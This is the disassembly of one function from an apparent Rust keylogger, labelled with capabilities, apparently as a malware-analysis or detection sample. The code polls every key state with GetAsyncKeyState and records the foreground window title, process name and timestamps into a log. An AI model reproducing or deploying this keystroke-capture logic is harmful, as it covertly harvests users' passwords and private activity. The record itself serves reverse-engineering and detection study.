Function at 0x140007f90
Capabilities:
Get graphical window text
Get process image filename
Log keystrokes via polling

Disassembly:
push r15
push r14
push rsi
push rdi
push rbx
sub rsp, 0xbf0
mov qword [rsp + 0x268], rcx
mov dword [rsp + 0x280], 0x55
mov dword [rsp + 0x284], 0x100
mov qword [rsp + 0x958], rcx
mov byte [rsp + 0x957], 0
call dbg.header_file
xor eax, eax
mov dx, ax
lea rcx, [rsp + 0x2a0]
mov qword [rsp + 0x270], rcx
mov r8d, 0x55
call dbg.from_elem<u16>
mov rcx, qword [rsp + 0x270]
call dbg.alloc::vec::Vec<T,A>::as_mut_ptr::hb9d3da5f4f40ee00
mov qword [rsp + 0x278], rax
jmp 0x140008030
mov rcx, qword [rsp + 0x278]
mov edx, 0x55
call sub.kernel32.dll_GetUserDefaultLocaleName
jmp 0x140008044
mov qword [rsp + 0x2b8], 0
lea rcx, [rsp + 0x2a0]
call dbg.deref<u16, alloc::alloc::Global>
mov qword [rsp + 0x258], rdx
mov qword [rsp + 0x260], rax
jmp 0x14000806f
mov rdx, qword [rsp + 0x258]
mov rcx, qword [rsp + 0x260]
call dbg.iter<u16>
mov qword [rsp + 0x248], rdx
mov qword [rsp + 0x250], rax
jmp 0x140008096
mov r8, qword [rsp + 0x248]
mov rdx, qword [rsp + 0x250]
lea rcx, [rsp + 0x2c0]
call dbg.enumerate<core::slice::iter::Iter<u16>>
jmp 0x1400080b5
lea rax, [rsp + 0x2b8]
mov qword [rsp + 0x2d8], rax
mov rdx, qword [rsp + 0x2d8]
lea rcx, [rsp + 0x2c0]
call dbg.for_each<core::iter::adapters::enumerate::Enumerate<core::slice::iter::Iter<u16>>, keys::keylog::{closure_env#0}>
jmp 0x1400080dc
mov rax, qword [rsp + 0x2b8]
mov qword [rsp + 0x2e0], 0
mov qword [rsp + 0x2e8], rax
mov rdx, qword [rsp + 0x2e0]
mov r8, qword [rsp + 0x2e8]
lea r9, str.srcmain.rs
lea rcx, [rsp + 0x2a0]
call dbg.index_mut<u16, core::ops::range::Range<usize>, alloc::alloc::Global>
mov qword [rsp + 0x238], rdx
mov qword [rsp + 0x240], rax
jmp 0x14000812e
mov rax, qword [rsp + 0x238]
mov rcx, qword [rsp + 0x240]
mov qword [rsp + 0xbe0], rcx
mov qword [rsp + 0xbe8], rax
mov r8, qword [rsp + 0x238]
mov rdx, qword [rsp + 0x240]
lea rcx, [rsp + 0x288]
call dbg.alloc::string::String::from_utf16_lossy::hf3830d3c5f332777
jmp 0x14000816d
lea rcx, [rsp + 0x2a0]
call dbg.drop_in_place<alloc::vec::Vec<u16, alloc::alloc::Global>>
lea rcx, [rsp + 0x288]
mov qword [rsp + 0xbc0], rcx
lea rax, [sym.__alloc::string::String_as_core::fmt::Display_::fmt::h8c05a2f82ed7e642]
mov qword [rsp + 0xbc8], rax
mov qword [rsp + 0xbb0], rcx
mov qword [rsp + 0xbb8], rax
mov rax, qword [rsp + 0xbb0]
mov qword [rsp + 0x228], rax
mov rax, qword [rsp + 0xbb8]
mov qword [rsp + 0x230], rax
jmp 0x1400081f3
mov rax, qword [rsp + 0x230]
mov rcx, qword [rsp + 0x228]
mov qword [rsp + 0x358], rcx
mov qword [rsp + 0x360], rax
mov rax, rsp
mov qword [rax + 0x20], 1
lea rdx, str.Location:
lea rcx, [rsp + 0x328]
mov r8d, 2
lea r9, [rsp + 0x358]
call dbg.core::fmt::Arguments::new_v1::h4492db18fee9f701
jmp 0x140008242
lea rcx, [rsp + 0x310]
lea rdx, [rsp + 0x328]
call sym.alloc::fmt::format::h330724bc4be0d93f
jmp 0x140008259
mov rcx, qword [rsp + 0x268]
mov rax, qword [rsp + 0x320]
mov qword [rsp + 0x300], rax
movups xmm0, xmmword [rsp + 0x310]
movaps xmmword [rsp + 0x2f0], xmm0
lea rdx, [rsp + 0x2f0]
call sym.keys::log::hf723301ed2439b59
jmp 0x140008290
lea rdx, str._nKeylogs:__n
lea rcx, [rsp + 0x368]
mov r8d, 0xb
call sym.__str_as_alloc::string::ToString_::to_string::h66b79ab3393afde1
jmp 0x1400082ac
mov rcx, qword [rsp + 0x268]
lea rdx, [rsp + 0x368]
call sym.keys::log::hf723301ed2439b59
jmp 0x1400082c3
jmp 0x1400082c5
mov ecx, 0xa
call dbg.core::time::Duration::from_millis::hdbd0be98ad8fe649
mov dword [rsp + 0x21c], edx
mov qword [rsp + 0x220], rax
jmp 0x1400082e0
mov edx, dword [rsp + 0x21c]
mov rcx, qword [rsp + 0x220]
call sym.std::thread::sleep::h0439b739caeccedc
jmp 0x1400082f6
call sub.user32.dll_GetForegroundWindow
mov qword [rsp + 0x210], rax
jmp 0x140008305
mov rcx, qword [rsp + 0x210]
mov qword [rsp + 0x970], rcx
mov dword [rsp + 0x384], 0
lea rdx, [rsp + 0x384]
call sub.user32.dll_GetWindowThreadProcessId
jmp 0x14000832f
mov r8d, dword [rsp + 0x384]
mov dword [rsp + 0x97c], r8d
mov ecx, 0x1000
xor edx, edx
call sub.kernel32.dll_OpenProcess
mov qword [rsp + 0x208], rax
jmp 0x140008355
mov rax, qword [rsp + 0x208]
mov qword [rsp + 0x980], rax
xor eax, eax
mov dx, ax
lea rcx, [rsp + 0x3a0]
mov r8d, 0x100
call dbg.from_elem<u16>
jmp 0x14000837f
lea rcx, [rsp + 0x3a0]
call dbg.alloc::vec::Vec<T,A>::as_mut_ptr::hb9d3da5f4f40ee00
mov qword [rsp + 0x200], rax
jmp 0x1400083be
mov rdx, qword [rsp + 0x200]
mov rcx, qword [rsp + 0x208]
mov r8d, 0x100
call sub.psapi.dll_GetProcessImageFileNameW
jmp 0x1400083db
mov qword [rsp + 0x3b8], 0
lea rcx, [rsp + 0x3a0]
call dbg.deref<u16, alloc::alloc::Global>
mov qword [rsp + 0x1f0], rdx
mov qword [rsp + 0x1f8], rax
jmp 0x140008406
mov rdx, qword [rsp + 0x1f0]
mov rcx, qword [rsp + 0x1f8]
call dbg.iter<u16>
mov qword [rsp + 0x1e0], rdx
mov qword [rsp + 0x1e8], rax
jmp 0x14000842d
mov r8, qword [rsp + 0x1e0]
mov rdx, qword [rsp + 0x1e8]
lea rcx, [rsp + 0x3c0]
call dbg.enumerate<core::slice::iter::Iter<u16>>
jmp 0x14000844c
lea rax, [rsp + 0x3b8]
mov qword [rsp + 0x3d8], rax
mov rdx, qword [rsp + 0x3d8]
lea rcx, [rsp + 0x3c0]
call dbg.for_each<core::iter::adapters::enumerate::Enumerate<core::slice::iter::Iter<u16>>, keys::keylog::{closure_env#1}>
jmp 0x140008473
mov rax, qword [rsp + 0x3b8]
mov qword [rsp + 0x3f8], 0
mov qword [rsp + 0x400], rax
mov rdx, qword [rsp + 0x3f8]
mov r8, qword [rsp + 0x400]
lea r9, str.srcmain.rs
lea rcx, [rsp + 0x3a0]
call dbg.index_mut<u16, core::ops::range::Range<usize>, alloc::alloc::Global>
mov qword [rsp + 0x1d0], rdx
mov qword [rsp + 0x1d8], rax
jmp 0x1400084c5
mov rax, qword [rsp + 0x1d0]
mov rcx, qword [rsp + 0x1d8]
mov qword [rsp + 0xbd0], rcx
mov qword [rsp + 0xbd8], rax
mov r8, qword [rsp + 0x1d0]
mov rdx, qword [rsp + 0x1d8]
lea rcx, [rsp + 0x3e0]
call dbg.alloc::string::String::from_utf16_lossy::hf3830d3c5f332777
jmp 0x140008504
mov byte [rsp + 0x957], 1
lea rcx, [rsp + 0x3e0]
call sym.__alloc::string::String_as_core::ops::deref::Deref_::deref::h2d2d7d3ef28d5a25
mov qword [rsp + 0x1c0], rdx
mov qword [rsp + 0x1c8], rax
jmp 0x140008553
mov rdx, qword [rsp + 0x1c0]
mov rcx, qword [rsp + 0x1c8]
lea r8, [0x14012a138]
mov r9d, 1
call dbg.rfind<&str>
mov qword [rsp + 0x1b0], rdx
mov qword [rsp + 0x1b8], rax
jmp 0x140008587
mov rax, qword [rsp + 0x1b0]
mov rcx, qword [rsp + 0x1b8]
mov qword [rsp + 0x408], rcx
mov qword [rsp + 0x410], rax
cmp qword [rsp + 0x408], 1
jne 0x1400085d7
mov rax, qword [rsp + 0x410]
mov qword [rsp + 0x988], rax
add rax, 1
mov qword [rsp + 0x1a8], rax
setb al
test al, 1
jne 0x14000864f
jmp 0x140008611
mov byte [rsp + 0x957], 0
mov rax, qword [rsp + 0x3e0]
mov qword [rsp + 0x388], rax
mov rax, qword [rsp + 0x3e8]
mov qword [rsp + 0x390], rax
mov rax, qword [rsp + 0x3f0]
mov qword [rsp + 0x398], rax
jmp 0x14000868c
mov rax, qword [rsp + 0x1a8]
mov qword [rsp + 0x418], rax
mov rdx, qword [rsp + 0x418]
lea r8, str.srcmain.rs
lea rcx, [rsp + 0x3e0]
call sym._ZN113__LT_alloc..string..String_u20_as_u20_core..ops..index..Index_LT_core..ops..range..RangeFrom_LT_usize_GT__GT__GT_5index1
mov qword [rsp + 0x198], rdx
mov qword [rsp + 0x1a0], rax
jmp 0x14000866b
lea rcx, [0x14012a160]
lea r8, str.srcmain.rs
mov edx, 0x1c
call dbg.panic
jmp 0x140008669
ud2
mov r8, qword [rsp + 0x198]
mov rdx, qword [rsp + 0x1a0]
lea rcx, [rsp + 0x388]
call sym.__str_as_alloc::string::ToString_::to_string::h66b79ab3393afde1
jmp 0x14000868a
jmp 0x14000868c
test byte [rsp + 0x957], 1
jne 0x1400086ad
mov byte [rsp + 0x957], 0
lea rcx, [rsp + 0x3a0]
call dbg.drop_in_place<alloc::vec::Vec<u16, alloc::alloc::Global>>
jmp 0x1400086bc
lea rcx, [rsp + 0x3e0]
call sym.core::ptr::drop_in_place_alloc::string::String_::h4ad7dbeab7c9a74a
jmp 0x140008696
mov rcx, qword [rsp + 0x210]
call sub.user32.dll_GetWindowTextLengthW
mov dword [rsp + 0x194], eax
jmp 0x1400086fa
mov eax, dword [rsp + 0x194]
inc eax
mov dword [rsp + 0x190], eax
seto al
test al, 1
jne 0x14000873b
mov eax, dword [rsp + 0x190]
mov dword [rsp + 0x990], eax
lea rdx, str.No_idname
lea rcx, [rsp + 0x440]
mov r8d, 9
call sym.__str_as_alloc::string::ToString_::to_string::h66b79ab3393afde1
jmp 0x140008758
lea rcx, [0x14012a160]
lea r8, str.srcmain.rs
mov edx, 0x1c
call dbg.panic
jmp 0x140008669
mov eax, dword [rsp + 0x190]
cmp eax, 0
jg 0x140008796
mov rax, qword [rsp + 0x450]
mov qword [rsp + 0x430], rax
movaps xmm0, xmmword [rsp + 0x440]
movaps xmmword [rsp + 0x420], xmm0
lea rcx, [rsp + 0x48c]
call dbg.chrono::offset::utc::Utc::now::hbfcd4ae232ba7003
jmp 0x14000899d
mov eax, dword [rsp + 0x190]
movsxd r8, eax
xor eax, eax
mov dx, ax
lea rcx, [rsp + 0x458]
call dbg.from_elem<u16>
jmp 0x1400087dc
lea rcx, [rsp + 0x458]
call dbg.alloc::vec::Vec<T,A>::as_mut_ptr::hb9d3da5f4f40ee00
mov qword [rsp + 0x188], rax
jmp 0x140008818
mov r8d, dword [rsp + 0x190]
mov rdx, qword [rsp + 0x188]
mov rcx, qword [rsp + 0x210]
call sub.user32.dll_GetWindowTextW
jmp 0x140008837
lea rcx, [rsp + 0x458]
call dbg.alloc::vec::Vec<T,A>::len::h1099c8071d10b88f
mov qword [rsp + 0x180], rax
jmp 0x14000884e
mov rax, qword [rsp + 0x180]
mov rcx, rax
sub rcx, 1
mov qword [rsp + 0x178], rcx
cmp rax, 1
setb al
test al, 1
jne 0x14000888e
mov rdx, qword [rsp + 0x178]
lea r8, str.srcmain.rs
lea rcx, [rsp + 0x458]
call dbg.alloc::vec::Vec<T,A>::remove::h4e7b7cb7ebd351e6
jmp 0x1400088ab
lea rcx, [0x14012a1e0]
lea r8, str.srcmain.rs
mov edx, 0x21
call dbg.panic
jmp 0x140008669
lea rcx, [rsp + 0x458]
call dbg.as_mut<u16, alloc::alloc::Global>
mov qword [rsp + 0x168], rdx
mov qword [rsp + 0x170], rax
jmp 0x1400088ca
mov r8, qword [rsp + 0x168]
mov rdx, qword [rsp + 0x170]
lea rcx, [rsp + 0x470]
call dbg.alloc::string::String::from_utf16_lossy::hf3830d3c5f332777
jmp 0x1400088e9
lea rcx, [rsp + 0x440]
call sym.core::ptr::drop_in_place_alloc::string::String_::h4ad7dbeab7c9a74a
jmp 0x140008943
mov rax, qword [rsp + 0x480]
mov qword [rsp + 0x450], rax
movups xmm0, xmmword [rsp + 0x470]
movaps xmmword [rsp + 0x440], xmm0
lea rcx, [rsp + 0x458]
call dbg.drop_in_place<alloc::vec::Vec<u16, alloc::alloc::Global>>
jmp 0x140008764
mov ecx, 0x10
call sub.user32.dll_GetAsyncKeyState
mov word [rsp + 0x166], ax
jmp 0x1400089b1
mov ax, word [rsp + 0x166]
movzx eax, ax
shr eax, 0xf
mov byte [rsp + 0x15b], al
mov byte [rsp + 0x997], al
mov dword [rsp + 0x498], 0
mov dword [rsp + 0x49c], 0xff
mov ecx, dword [rsp + 0x498]
mov edx, dword [rsp + 0x49c]
call dbg.into_iter<core::ops::range::Range<i32>>
mov dword [rsp + 0x15c], edx
mov dword [rsp + 0x160], eax
jmp 0x140008a06
mov eax, dword [rsp + 0x15c]
mov ecx, dword [rsp + 0x160]
mov dword [rsp + 0x4a0], ecx
mov dword [rsp + 0x4a4], eax
lea rcx, [rsp + 0x4a0]
call dbg.next<i32>
mov dword [rsp + 0x150], edx
mov dword [rsp + 0x154], eax
jmp 0x140008a3f
mov eax, dword [rsp + 0x150]
mov ecx, dword [rsp + 0x154]
mov dword [rsp + 0x4a8], ecx
mov dword [rsp + 0x4ac], eax
mov eax, dword [rsp + 0x4a8]
cmp rax, 0
jne 0x140008a77
lea rcx, [rsp + 0x420]
call sym.core::ptr::drop_in_place_alloc::string::String_::h4ad7dbeab7c9a74a
jmp 0x140008a9b
mov ecx, dword [rsp + 0x4ac]
mov dword [rsp + 0x148], ecx
mov dword [rsp + 0x998], ecx
call sub.user32.dll_GetAsyncKeyState
mov word [rsp + 0x14e], ax
jmp 0x140008aad
lea rcx, [rsp + 0x388]
call sym.core::ptr::drop_in_place_alloc::string::String_::h4ad7dbeab7c9a74a
jmp 0x1400082c5
mov ax, word [rsp + 0x14e]
mov word [rsp + 0x99e], ax
and ax, 1
cmp ax, 0
jle 0x140008a22
lea rcx, [rsp + 0x48c]
call dbg.hour<chrono::offset::utc::Utc>
mov dword [rsp + 0x144], eax
jmp 0x140008ae1
mov eax, dword [rsp + 0x144]
mov dword [rsp + 0x57c], eax
lea rcx, [rsp + 0x57c]
mov qword [rsp + 0xb80], rcx
lea rax, [sym.core::fmt::num::imp::__impl_core::fmt::Display_for_u32_::fmt::h88a9320d823a9a2a]
mov qword [rsp + 0xb88], rax
mov qword [rsp + 0xb70], rcx
mov qword [rsp + 0xb78], rax
mov rax, qword [rsp + 0xb70]
mov qword [rsp + 0x130], rax
mov rax, qword [rsp + 0xb78]
mov qword [rsp + 0x138], rax
mov rax, qword [rsp + 0x138]
mov rcx, qword [rsp + 0x130]
mov qword [rsp + 0x118], rcx
mov qword [rsp + 0x120], rax
lea rcx, [rsp + 0x48c]
call dbg.minute<chrono::offset::utc::Utc>
mov dword [rsp + 0x12c], eax
jmp 0x140008b74
mov eax, dword [rsp + 0x12c]
mov dword [rsp + 0x580], eax
lea rcx, [rsp + 0x580]
mov qword [rsp + 0xb60], rcx
lea rax, [sym.core::fmt::num::imp::__impl_core::fmt::Display_for_u32_::fmt::h88a9320d823a9a2a]
mov qword [rsp + 0xb68], rax
mov qword [rsp + 0xb50], rcx
mov qword [rsp + 0xb58], rax
mov rax, qword [rsp + 0xb50]
mov qword [rsp + 0x108], rax
mov rax, qword [rsp + 0xb58]
mov qword [rsp + 0x110], rax
mov rax, qword [rsp + 0x110]
mov rcx, qword [rsp + 0x108]
mov qword [rsp + 0xf0], rcx
mov qword [rsp + 0xf8], rax
lea rcx, [rsp + 0x48c]
call dbg.second<chrono::offset::utc::Utc>
mov dword [rsp + 0x104], eax
jmp 0x140008c07
mov eax, dword [rsp + 0x104]
mov dword [rsp + 0x584], eax
lea rcx, [rsp + 0x584]
mov qword [rsp + 0xb40], rcx
lea rax, [sym.core::fmt::num::imp::__impl_core::fmt::Display_for_u32_::fmt::h88a9320d823a9a2a]
mov qword [rsp + 0xb48], rax
mov qword [rsp + 0xb30], rcx
mov qword [rsp + 0xb38], rax
mov rax, qword [rsp + 0xb30]
mov qword [rsp + 0xe0], rax
mov rax, qword [rsp + 0xb38]
mov qword [rsp + 0xe8], rax
mov rax, qword [rsp + 0xe8]
mov rcx, qword [rsp + 0xe0]
mov qword [rsp + 0xc0], rcx
mov qword [rsp + 0xc8], rax
lea rcx, [rsp + 0x388]
call sym.__alloc::string::String_as_core::ops::deref::Deref_::deref::h2d2d7d3ef28d5a25
mov qword [rsp + 0xd0], rdx
mov qword [rsp + 0xd8], rax
jmp 0x140008ca3
mov rdx, qword [rsp + 0xd0]
mov rcx, qword [rsp + 0xd8]
call sym.core::str::__impl_str_::trim::h93ad308154f93722
mov qword [rsp + 0xb0], rdx
mov qword [rsp + 0xb8], rax
jmp 0x140008cca
mov rax, qword [rsp + 0xb0]
mov rcx, qword [rsp + 0xb8]
mov qword [rsp + 0x588], rcx
mov qword [rsp + 0x590], rax
lea rcx, [rsp + 0x588]
mov qword [rsp + 0xb20], rcx
lea rax, [sym.__T_as_core::fmt::Display_::fmt::h6b506f9d595541d5]
mov qword [rsp + 0xb28], rax
mov qword [rsp + 0xb10], rcx
mov qword [rsp + 0xb18], rax
mov rax, qword [rsp + 0xb10]
mov qword [rsp + 0xa0], rax
mov rax, qword [rsp + 0xb18]
mov qword [rsp + 0xa8], rax
mov rax, qword [rsp + 0xa8]
mov rcx, qword [rsp + 0xa0]
mov qword [rsp + 0x80], rcx
mov qword [rsp + 0x88], rax
lea rcx, [rsp + 0x420]
call sym.__alloc::string::String_as_core::ops::deref::Deref_::deref::h2d2d7d3ef28d5a25
mov qword [rsp + 0x90], rdx
mov qword [rsp + 0x98], rax
jmp 0x140008d78
mov rdx, qword [rsp + 0x90]
mov rcx, qword [rsp + 0x98]
call sym.core::str::__impl_str_::trim::h93ad308154f93722
mov qword [rsp + 0x70], rdx
mov qword [rsp + 0x78], rax
jmp 0x140008d99
mov rax, qword [rsp + 0x70]
mov rcx, qword [rsp + 0x78]
mov qword [rsp + 0x598], rcx
mov qword [rsp + 0x5a0], rax
lea rcx, [rsp + 0x598]
mov qword [rsp + 0xb00], rcx
lea rax, [sym.__T_as_core::fmt::Display_::fmt::h6b506f9d595541d5]
mov qword [rsp + 0xb08], rax
mov qword [rsp + 0xaf0], rcx
mov qword [rsp + 0xaf8], rax
mov rax, qword [rsp + 0xaf0]
mov qword [rsp + 0x60], rax
mov rax, qword [rsp + 0xaf8]
mov qword [rsp + 0x68], rax
mov r8b, byte [rsp + 0x15b]
mov eax, dword [rsp + 0x148]
mov rcx, qword [rsp + 0x68]
mov rdx, qword [rsp + 0x60]
mov qword [rsp + 0x50], rdx
mov qword [rsp + 0x58], rcx
mov dl, al
and r8b, 1
lea rcx, [rsp + 0x5a8]
call dbg.key_notes
jmp 0x140008e34
lea rcx, [rsp + 0x5a8]
mov qword [rsp + 0xba0], rcx
lea rax, [sym.__alloc::string::String_as_core::fmt::Display_::fmt::h8c05a2f82ed7e642]
mov qword [rsp + 0xba8], rax
mov qword [rsp + 0xb90], rcx
mov qword [rsp + 0xb98], rax
mov rax, qword [rsp + 0xb90]
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0xb98]
mov qword [rsp + 0x48], rax
jmp 0x140008ea7
mov rax, qword [rsp + 0x48]
mov rcx, qword [rsp + 0x40]
mov rdx, qword [rsp + 0x58]
mov r8, qword [rsp + 0x50]
mov r9, qword [rsp + 0x88]
mov r10, qword [rsp + 0x80]
mov r11, qword [rsp + 0xc8]
mov rsi, qword [rsp + 0xc0]
mov rdi, qword [rsp + 0xf8]
mov rbx, qword [rsp + 0xf0]
mov r14, qword [rsp + 0x120]
mov r15, qword [rsp + 0x118]
mov qword [rsp + 0x518], r15
mov qword [rsp + 0x520], r14
mov qword [rsp + 0x528], rbx
mov qword [rsp + 0x530], rdi
mov qword [rsp + 0x538], rsi
mov qword [rsp + 0x540], r11
mov qword [rsp + 0x548], r10
mov qword [rsp + 0x550], r9
mov qword [rsp + 0x558], r8
mov qword [rsp + 0x560], rdx
mov qword [rsp + 0x568], rcx
mov qword [rsp + 0x570], rax
mov byte [rsp + 0x74f], 3
mov qword [rsp + 0x750], 2
mov qword [rsp + 0x768], 2
mov qword [rsp + 0x760], 0
mov r9b, byte [rsp + 0x74f]
mov r8, qword [rsp + 0x750]
mov rdx, qword [rsp + 0x758]
mov rcx, qword [rsp + 0x760]
mov rax, qword [rsp + 0x768]
mov qword [rsp + 0xab8], 0
mov dword [rsp + 0xac4], 0x20
mov byte [rsp + 0xacb], r9b
mov dword [rsp + 0xacc], 8
mov qword [rsp + 0xad0], r8
mov qword [rsp + 0xad8], rdx
mov qword [rsp + 0xae0], rcx
mov qword [rsp + 0xae8], rax
mov qword [rsp + 0x730], 0
mov dword [rsp + 0x738], 0x20
mov byte [rsp + 0x740], r9b
mov dword [rsp + 0x73c], 8
mov qword [rsp + 0x710], r8
mov qword [rsp + 0x718], rdx
mov qword [rsp + 0x720], rcx
mov qword [rsp + 0x728], rax
mov byte [rsp + 0x7af], 3
mov qword [rsp + 0x7b0], 2
mov qword [rsp + 0x7c8], 2
mov qword [rsp + 0x7c0], 0
mov r9b, byte [rsp + 0x7af]
mov r8, qword [rsp + 0x7b0]
mov rdx, qword [rsp + 0x7b8]
mov rcx, qword [rsp + 0x7c0]
mov rax, qword [rsp + 0x7c8]
mov qword [rsp + 0xa80], 1
mov dword [rsp + 0xa8c], 0x20
mov byte [rsp + 0xa93], r9b
mov dword [rsp + 0xa94], 8
mov qword [rsp + 0xa98], r8
mov qword [rsp + 0xaa0], rdx
mov qword [rsp + 0xaa8], rcx
mov qword [rsp + 0xab0], rax
mov qword [rsp + 0x790], 1
mov dword [rsp + 0x798], 0x20
mov byte [rsp + 0x7a0], r9b
mov dword [rsp + 0x79c], 8
mov qword [rsp + 0x770], r8
mov qword [rsp + 0x778], rdx
mov qword [rsp + 0x780], rcx
mov qword [rsp + 0x788], rax
mov byte [rsp + 0x80f], 3
mov qword [rsp + 0x810], 2
mov qword [rsp + 0x828], 2
mov qword [rsp + 0x820], 0
mov r9b, byte [rsp + 0x80f]
mov r8, qword [rsp + 0x810]
mov rdx, qword [rsp + 0x818]
mov rcx, qword [rsp + 0x820]
mov rax, qword [rsp + 0x828]
mov qword [rsp + 0xa48], 2
mov dword [rsp + 0xa54], 0x20
mov byte [rsp + 0xa5b], r9b
mov dword [rsp + 0xa5c], 8
mov qword [rsp + 0xa60], r8
mov qword [rsp + 0xa68], rdx
mov qword [rsp + 0xa70], rcx
mov qword [rsp + 0xa78], rax
mov qword [rsp + 0x7f0], 2
mov dword [rsp + 0x7f8], 0x20
mov byte [rsp + 0x800], r9b
mov dword [rsp + 0x7fc], 8
mov qword [rsp + 0x7d0], r8
mov qword [rsp + 0x7d8], rdx
mov qword [rsp + 0x7e0], rcx
mov qword [rsp + 0x7e8], rax
mov byte [rsp + 0x86f], 3
mov qword [rsp + 0x870], 2
mov qword [rsp + 0x880], 2
mov r9b, byte [rsp + 0x86f]
mov r8, qword [rsp + 0x870]
mov rdx, qword [rsp + 0x878]
mov rcx, qword [rsp + 0x880]
mov rax, qword [rsp + 0x888]
mov qword [rsp + 0xa10], 3
mov dword [rsp + 0xa1c], 0x20
mov byte [rsp + 0xa23], r9b
mov dword [rsp + 0xa24], 0
mov qword [rsp + 0xa28], r8
mov qword [rsp + 0xa30], rdx
mov qword [rsp + 0xa38], rcx
mov qword [rsp + 0xa40], rax
mov qword [rsp + 0x850], 3
mov dword [rsp + 0x858], 0x20
mov byte [rsp + 0x860], r9b
mov dword [rsp + 0x85c], 0
mov qword [rsp + 0x830], r8
mov qword [rsp + 0x838], rdx
mov qword [rsp + 0x840], rcx
mov qword [rsp + 0x848], rax
mov byte [rsp + 0x8cf], 3
mov qword [rsp + 0x8d0], 2
mov qword [rsp + 0x8e0], 2
mov r9b, byte [rsp + 0x8cf]
mov r8, qword [rsp + 0x8d0]
mov rdx, qword [rsp + 0x8d8]
mov rcx, qword [rsp + 0x8e0]
mov rax, qword [rsp + 0x8e8]
mov qword [rsp + 0x9d8], 4
mov dword [rsp + 0x9e4], 0x20
mov byte [rsp + 0x9eb], r9b
mov dword [rsp + 0x9ec], 0
mov qword [rsp + 0x9f0], r8
mov qword [rsp + 0x9f8], rdx
mov qword [rsp + 0xa00], rcx
mov qword [rsp + 0xa08], rax
mov qword [rsp + 0x8b0], 4
mov dword [rsp + 0x8b8], 0x20
mov byte [rsp + 0x8c0], r9b
mov dword [rsp + 0x8bc], 0
mov qword [rsp + 0x890], r8
mov qword [rsp + 0x898], rdx
mov qword [rsp + 0x8a0], rcx
mov qword [rsp + 0x8a8], rax
mov byte [rsp + 0x92f], 3
mov qword [rsp + 0x930], 2
mov qword [rsp + 0x940], 2
mov r9b, byte [rsp + 0x92f]
mov r8, qword [rsp + 0x930]
mov rdx, qword [rsp + 0x938]
mov rcx, qword [rsp + 0x940]
mov rax, qword [rsp + 0x948]
mov qword [rsp + 0x9a0], 5
mov dword [rsp + 0x9ac], 0x20
mov byte [rsp + 0x9b3], r9b
mov dword [rsp + 0x9b4], 0
mov qword [rsp + 0x9b8], r8
mov qword [rsp + 0x9c0], rdx
mov qword [rsp + 0x9c8], rcx
mov qword [rsp + 0x9d0], rax
mov qword [rsp + 0x910], 5
mov dword [rsp + 0x918], 0x20
mov byte [rsp + 0x920], r9b
mov dword [rsp + 0x91c], 0
mov qword [rsp + 0x8f0], r8
mov qword [rsp + 0x8f8], rdx
mov qword [rsp + 0x900], rcx
mov qword [rsp + 0x908], rax
lea rcx, [rsp + 0x5c0]
lea rdx, [rsp + 0x710]
mov r8d, 0x38
call sym.memcpy
lea rcx, [rsp + 0x5c0]
add rcx, 0x38
lea rdx, [rsp + 0x770]
mov r8d, 0x38
call sym.memcpy
lea rcx, [rsp + 0x5c0]
add rcx, 0x70
lea rdx, [rsp + 0x7d0]
mov r8d, 0x38
call sym.memcpy
lea rcx, [rsp + 0x5c0]
add rcx, 0xa8
lea rdx, [rsp + 0x830]
mov r8d, 0x38
call sym.memcpy
lea rcx, [rsp + 0x5c0]
add rcx, 0xe0
lea rdx, [rsp + 0x890]
mov r8d, 0x38
call sym.memcpy
lea rcx, [rsp + 0x5c0]
add rcx, 0x118
lea rdx, [rsp + 0x8f0]
mov r8d, 0x38
call sym.memcpy
mov rax, rsp
lea rcx, [rsp + 0x5c0]
mov qword [rax + 0x28], rcx
mov qword [rax + 0x30], 6
mov qword [rax + 0x20], 6
lea rdx, str._________n
lea rcx, [rsp + 0x4e8]
mov r8d, 7
lea r9, [rsp + 0x518]
call dbg.core::fmt::Arguments::new_v1_formatted::h0fecfaa72b2df9c1
jmp 0x1400095a9
lea rcx, [rsp + 0x4d0]
lea rdx, [rsp + 0x4e8]
call sym.alloc::fmt::format::h330724bc4be0d93f
jmp 0x1400095c0
lea rcx, [rsp + 0x5a8]
call sym.core::ptr::drop_in_place_alloc::string::String_::h4ad7dbeab7c9a74a
jmp 0x1400095f7
mov rcx, qword [rsp + 0x268]
mov rax, qword [rsp + 0x4e0]
mov qword [rsp + 0x4c0], rax
movups xmm0, xmmword [rsp + 0x4d0]
movaps xmmword [rsp + 0x4b0], xmm0
lea rdx, [rsp + 0x4b0]
call sym.keys::log::hf723301ed2439b59
jmp 0x14000962e
jmp 0x140008a22